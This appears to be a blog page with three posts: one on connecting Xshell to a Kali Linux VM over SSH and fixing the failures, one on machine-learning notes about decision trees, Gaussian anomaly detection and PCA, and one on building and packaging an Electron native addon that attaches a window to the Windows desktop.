I used a Kali Linux guest as the lab server and Xshell on a Windows host to connect over SSH. This was the setup for my Linux backdoor experiments. Here’s how I connected and what I checked when the first attempt failed.

The screenshots are from my Kali 2022.1 installation in VMware on Windows in 2022. Menus, default service state and SSH settings vary between versions. The old image links identify the release in this post.

# Create the Kali VM

I used VMware. I’ll skip the wizard here. Alongside installing from an ISO, Kali offers preconfigured guests:

The official Kali download page lists images for a fresh installation. The rest of my notes assume a Kali guest.

# Create an Xshell session

The Xshell installer is available from NetSarang. Choose File → New and create an SSH session:

Give the session a name, choose SSH and use port 22 unless you’ve changed the service port. Set the host to the guest’s IP address.

Inside the guest, ip addr lists the interfaces. I used ifconfig for this screenshot; if it isn’t installed, ip addr works.

My guest was at 192.168.158.128 . Use the address assigned to yours. The loopback address 127.0.0.1 would refer to the host when entered in Xshell.

# Troubleshooting SSH

My first connection failed:

A stopped service, an unreachable guest and a rejected login need different checks.

# Is the service running?

Check the SSH service inside Kali and start it if needed:

	sudo systemctl status ssh
	sudo systemctl start ssh
	sudo systemctl status ssh

The screenshot shows service ssh status . The important part is active (running) .

To start the service automatically on boot:

sudo systemctl enable ssh

Undo that setting with sudo systemctl disable ssh . You can reconnect after starting the service without restarting the VM.

# Can the host reach the guest?

Once the server was running, I tried pinging the guest’s IP from Windows:

A failed ping can be an address, adapter or firewall issue. In my case the problem was VMnet8. In VMware’s Edit → Virtual Network Editor, choose Change Settings, select VMnet8 and enable the host virtual adapter’s connection to the network. If it’s already selected, clearing it, applying, then selecting and applying again re-establishes the host connection.

That got me connected, although I had to repeat it after restarting the computer (￣_￣|||). I tried port forwarding too, but it didn’t solve this issue. The host can use its VMnet8 adapter to reach a guest on the same private network. Port forwarding is worth considering when an external machine needs to initiate a connection to a service behind NAT. See VMware’s network mode overview.

Reconnecting the adapter was a workaround. I still needed to check the VMnet8 adapter, the two subnet configurations and firewall rules to find the persistent cause.

# The SSH server rejects the password

Once the guest was reachable, Xshell reported another error:

I was trying to log in as root, and Xshell reported “The SSH server rejected your password. Please try again.” After checking the credentials, I looked at the account’s state and the server’s authentication policy in /etc/ssh/sshd_config .

In this specific VM the screenshot shows PermitRootLogin yes . An ordinary user account doesn’t require that change. Leave other settings alone unless your setup needs them. The OpenSSH configuration manual explains each directive.

After editing, validate the configuration before restarting the service:

	sudo /usr/sbin/sshd -t
	sudo systemctl restart ssh

Once the syntax check passes, restart SSH. The VM itself doesn’t need to reboot. Reconnecting from Xshell finally worked:

Machine Learning Notes

2024-06-15T18:14:36.000Z

# Decision trees

A decision tree classifies an observation through a sequence of tests. Training derives those decision rules from the examples.

Trees are fast to evaluate, and you can follow the tests to see which attributes mattered. Splitting on individual attributes can overlook relationships between them. An uneven class distribution can also affect performance.

# Building a tree

The central question is which attribute to test at each node.

Entropy measures uncertainty in the class distribution. In a dataset $D$ with $n_c$ classes, let $P(c_i)$ be the proportion in class $c_i$ . Its entropy is

$Entropy(D)=-\sum_{i=1}^{n_c}P(c_i)\log_2P(c_i)$ .

A pure node contains observations from a single class. One way to describe how close a node is to that state is the fraction covered by its majority class.

Choose a split. ID3 uses information gain, C4.5 uses gain ratio, and classification trees in CART use Gini impurity.
- Information gain is the reduction in entropy after splitting on attribute $A$ : $Gain(D,A)=Entropy(D)-\sum_{v=1}^V\frac{|D_v|}{|D|}Entropy(D_v)$ . Here $V$ counts distinct values and $D_v$ is the subset with value $v$ . The ratio $|D_v|/|D|$ weights each child by its size.
- Information gain tends to favour attributes with many values, which can lead to overfitting. Gain ratio divides it by the entropy of the split: $Gain_{ratio}(D,A)=Gain(D,A)/H_A(D)$ , where $H_A(D)=-\sum_{v=1}^V\frac{|D_v|}{|D|}\log_2\frac{|D_v|}{|D|}$ .
- Gini impurity is the probability that two independent draws from the class distribution differ. With class proportions $p_i$ , $Gini(D)=1-\sum_{i=1}^k p_i^2$ .
Partition the samples. The selected test assigns the observations to child nodes.
Repeat recursively. At each child choose a new split until a stopping condition applies, for example a pure node, no remaining attributes, or a maximum depth.
Assign leaves. Limits on leaf size, depth or purity can leave several classes in a leaf. Assign the most frequent class. In these notes, a tie is broken by choosing at random among the tied classes.
Prune. Removing overly complex branches can improve generalisation. Methods include reduced-error pruning (REP), pessimistic-error pruning (PEP), error-based pruning (EBP), cost-complexity pruning (CCP) and minimum-error pruning (MEP).
Predict. Follow the tests from the root to a leaf and return its class, or its numerical prediction for a regression tree.

# ID3

Compute the information gain for each candidate attribute and choose the largest. Create branches for its possible values. If no further split is possible, label the leaf with the most frequent class among its samples.

# C4.5

Split selection. A low split entropy can inflate gain ratio. The selection heuristic first keeps attributes with above-average information gain and then chooses the highest gain ratio among them.
Continuous attributes. ID3 handles discrete attributes. C4.5 can also split a continuous attribute by finding a threshold. Sort the distinct observed values. With $m$ values, there are $m-1$ midpoints between neighbours. Evaluate the information gain for each binary test (above the midpoint versus at or below it) and choose the best threshold.
Missing values. Calculate gain among observations with known values and scale it by the proportion of observations with known values. If this attribute is used, distribute the weight of a sample with a missing value across children in proportion to the known samples in those branches.

# CART

CART builds binary trees for classification or regression. In the categorical classification example here, test whether attribute $A$ equals value $a$ . The test divides $D$ into $D_1$ and $D_2$ : samples with that value and all remaining samples. For each candidate split, weight each child’s Gini impurity by its share of the samples: $\frac{|D_1|}{|D|}Gini(D_1)+\frac{|D_2|}{|D|}Gini(D_2)$ . Choose the split with the lowest weighted impurity. Every internal node has exactly two children.

# Anomaly detection

Anomaly detection looks for observations that don’t fit the expected pattern. One approach flags points with a low estimated probability density.

For a continuous variable, $p(x)$ describes density near $x$ . The probability over an interval is $\int_{x_1}^{x_2}p(x)dx$ , and the integral over the entire real line is 1.

Gaussian distribution

$p(x)=\frac{1}{\sigma\sqrt{2\pi}}e^{-\frac{(x-\mu)^2}{2\sigma^2}}$

The mean $\mu$ locates the centre. A larger standard deviation $\sigma$ spreads the distribution out. For $m$ observations the estimates used here are $\mu=\frac1m\sum_i x^{(i)}$ and $\sigma^2=\frac1m\sum_i(x^{(i)}-\mu)^2$ .

Gaussian anomaly detection

For one-dimensional observations $x_1,\dots,x_m$ , estimate the mean and standard deviation, calculate $p(x)$ , and flag $x_i$ when $p(x_i)<\varepsilon$ .

For $m$ samples with $n$ features, arrange the values by feature $j$ and observation $i$ . Each row contains the $m$ observations for one feature:

$\begin{bmatrix} x_1^{(1)} & \cdots & x_1^{(m)} \\ \vdots & & \vdots \\ x_n^{(1)} & \cdots & x_n^{(m)} \end{bmatrix}$

Fit the Gaussian parameters separately for each feature:

$\mu_j=\frac1m\sum_{i=1}^m x_j^{(i)},\qquad \sigma_j^2=\frac1m\sum_{i=1}^m(x_j^{(i)}-\mu_j)^2.$

Under the independent-feature model, multiply the densities:

$p(x)=\prod_{j=1}^n p(x_j)=\prod_{j=1}^n\frac{1}{\sigma_j\sqrt{2\pi}}e^{-\frac{(x_j-\mu_j)^2}{2\sigma_j^2}}.$

Compare this joint density with the threshold $\varepsilon$ .

# Principal component analysis

PCA projects high-dimensional data into fewer dimensions. The first principal direction captures the most variance. Each subsequent direction captures as much of the remaining variance as possible while staying orthogonal to the directions already chosen. PCA does not use class labels.

Preprocess the features. For standardisation, centre them at zero and scale to unit standard deviation.
Find the eigenvectors of the covariance matrix and the variance along each direction.
Choose the target dimension $k$ based on the task or a desired fraction of explained variance.
Project the observations onto the space spanned by the leading $k$ eigenvectors.

# Model optimisation checks

These notes consolidate an earlier post on model optimisation. They’re questions to investigate; the experiment determines which changes help.

# Data

Data quality limits what the model can achieve.

What does each feature mean? Removing irrelevant features can save computation and reduce overfitting.
Do the features have very different scales? Normalisation or standardisation can balance their influence and speed up convergence.
Are there outliers? Decide whether keeping or filtering them makes the model more robust.
Are there enough examples? Consider increasing the sample.
Does the collection method produce representative data?
Are labels assigned consistently under the same rules?

# Compare models

Try different models on comparable data and compare their performance to find one that better suits the task.

# Key parameters

Try every combination of the key parameter values under consideration and compare the model’s performance.

Embedding an Electron Window in the Windows Desktop

2024-05-19T11:30:03.000Z

While building Sentences-Desktop, I wanted the quote window to sit directly on the Windows desktop. I wrote electron-addtodesktop to expose two operations to the Electron main process: attach and detach .

The extension has a JavaScript side and a C++ side. Here’s how the window handle gets from one to the other, where the window ends up, and what went into shipping the native extension as an npm package.

# What I wanted the window to do

The quote window is frameless and transparent, with no taskbar entry. Those settings control how it looks. I also needed to establish its relationship with the Windows desktop.

attach(win) finds the appropriate desktop window and makes the Electron window its child. Call detach(win) to undo the attachment.

The layer I chose places the app in front of desktop icons and keeps mouse interaction working. For wallpaper behind the icons, you’d need a different layer; moving it there would also lose the interaction this arrangement provides.

# Passing the window handle from JavaScript

The project has a handful of main files:

	index.js JavaScript entry point
	lib/addtoDesktop.cpp Windows window operations
	binding.gyp Native module build configuration
	package.json Package metadata, dependencies and install script
	test/index.js Example Electron application

The caller supplies an Electron BrowserWindow . The native code needs a Windows window handle, so the JavaScript entry point retrieves it and passes it across. Here is attach from index.js :

	const bindings = require("bindings")("electron-addtoDesktop");

	const attach = (win) => {
	if (win === undefined) {
	throw Error("You need to pass a window");
	}
	if (typeof win.getNativeWindowHandle !== "function") {
	throw Error("You need to pass a window of type Electron.BrowserWindow");
	}
	bindings.attach(win.getNativeWindowHandle());
	};

getNativeWindowHandle() returns a Buffer containing an HWND on Windows. Passing it through directly avoids converting a native handle to an ordinary JavaScript number.

On the C++ side, node-addon-api receives the argument:

	Napi::Buffer<void > wndHandle = info[0].As<Napi::Buffer<void >>();
	HWND win = static_cast<HWND>(
	reinterpret_cast<void *>(wndHandle.Data())
	);

That gives us the HWND needed by the Windows API. The data flow is:

BrowserWindow → getNativeWindowHandle() → Buffer → HWND

detach passes the handle the same way, to a different native function.

# Finding the desktop window

With the handle in hand, we need to decide where to attach the window. Three Windows shell class names matter here. A window can act as a container for controls or other windows without having a visible title bar.

Progman is the Program Manager window class. The code starts here when looking for a suitable parent.
WorkerW is a shell worker window class that can host desktop content. There can be several windows of this class.
SHELLDLL_DefView is the shell folder view class. On the desktop it hosts the icon view; its presence tells us which worker contains the icons.

The extension looks for the worker that contains the icon view and makes the app window its child. The desktop window hierarchy can vary between Windows versions. This is the arrangement used by this project.

First the code finds Progman . Then it calls EnumWindows to enumerate top-level windows, looking for a WorkerW with a SHELLDLL_DefView child. If it can’t find one, the previously located Progman remains the target.

When it does find a suitable worker, the hierarchy after attachment looks like this:

	WorkerW
	├─ Electron window
	└─ SHELLDLL_DefView
	Progman

Once the target is known, attachment takes one call:

SetParent(win, insert_hWnd);

To detach, pass NULL as the second argument to SetParent . This makes the desktop window the new parent:

SetParent(win, NULL);

This releases the window from the selected WorkerW or Progman . The extension doesn’t save and restore every aspect of the old window state. The application is responsible for subsequent layout.

Finally the module exposes the functions to JavaScript:

	Napi::Object Init(Napi::Env env, Napi::Object exports)
	{
	exports.Set("attach", Napi::Function::New(env, Attach));
	exports.Set("detach", Napi::Function::New(env, Detach));
	return exports;
	}

	NODE_API_MODULE(addtoDesktop, Init)

The two exports correspond to bindings.attach() and bindings.detach() .

# Building and calling the extension

# Build configuration

The main parts of binding.gyp specify the target, source file and dependency on node-addon-api :

	{
	"targets": [{
	"target_name": "electron-addtoDesktop",
	"sources": ["lib/addtoDesktop.cpp"],
	"include_dirs": [
	"<!@(node -p \"require('node-addon-api').include\")"
	],
	"dependencies": [
	"<!(node -p \"require('node-addon-api').gyp\")"
	],
	"defines": ["NAPI_DISABLE_CPP_EXCEPTIONS"]
	}]
	}

This is an excerpt; the full configuration is in the repository. The target name, electron-addtoDesktop , must match the name passed to bindings . The npm package name is lowercase: electron-addtodesktop .

The install script is in package.json :

	{
	"main": "index.js",
	"scripts": {
	"install": "node-gyp configure rebuild"
	}
	}

Installation compiles C++ source on the target machine. The extension calls Windows APIs directly, so the build and usage notes here assume Windows. The node-gyp setup instructions list Python and the Visual C++ build tools as prerequisites.

For native Electron modules the target Electron version and architecture matter too. If the build or binary is incompatible, the Electron native module guide explains how to rebuild against the project’s Electron environment with @electron/rebuild .

# Using it in Electron

Install the package in the Electron project:

npm install electron-addtodesktop

Here’s a minimal example. Wait for Electron to be ready and create the window before passing it to attach :

	const { app, BrowserWindow } = require("electron");
	const { attach, detach } = require("electron-addtodesktop");

	let win;

	app.whenReady().then(() => {
	win = new BrowserWindow({
	width: 350,
	height: 200,
	frame: false,
	transparent: true,
	skipTaskbar: true
	});

	win.loadFile("index.html");
	attach(win);
	});

Replace index.html with your own page. Electron handles the frame, transparent background and taskbar entry. The extension handles attachment.

To detach, call the following while the window is still valid:

detach(win);

# Packaging the npm extension

Other projects need to be able to install and call the package outside its development repository.

# Keep the entry point and API small

The main field in package.json points to index.js . That file loads the native module and exports attach and detach . Callers supply an Electron window without having to locate a native binary or handle a Buffer or HWND themselves.

Validate arguments at the boundary. The JavaScript code checks for undefined and the presence of getNativeWindowHandle . It doesn’t cover every case: null , destroyed windows and invalid arguments passed directly to the native interface all need attention.

The current C++ implementation returns true after calling SetParent . If I maintain it further, I’d add those checks and report Windows API failures explicitly.

# Separate install and development dependencies

The repository lists bindings and node-addon-api under dependencies , and Electron under devDependencies . The first two are needed to load and compile the native module respectively. Electron runs the development example; consumers supply it through their own applications. A dependency used only during installation can still be required by the end user.

# Check what ships

Because installation compiles the extension, the package needs index.js , binding.gyp , the C++ source and any other required build files.

Use npm pack --dry-run to inspect the package contents:

npm pack --dry-run

Then run npm pack and install the tarball in a separate minimal Electron project with npm install path/to/package.tgz . That catches missing files that are present in your checkout and helps keep temporary files and local build products out of the package.

To restrict the contents, use the files field to list the entry point, binding.gyp and source directories. Include the README and licence as well.

# Limitations

The extension uses Windows APIs and doesn’t support macOS or Linux. Attachment depends on the Windows shell’s window hierarchy, so behaviour on one version doesn’t establish how every release will behave.

The extension also leaves lifecycle management to the application, including reattachment after a shell restart and recovery from a failed attachment.

Before using it in an actual application, I’d check desktop icons, mouse interaction and window switching on the target system before deciding whether to keep this approach.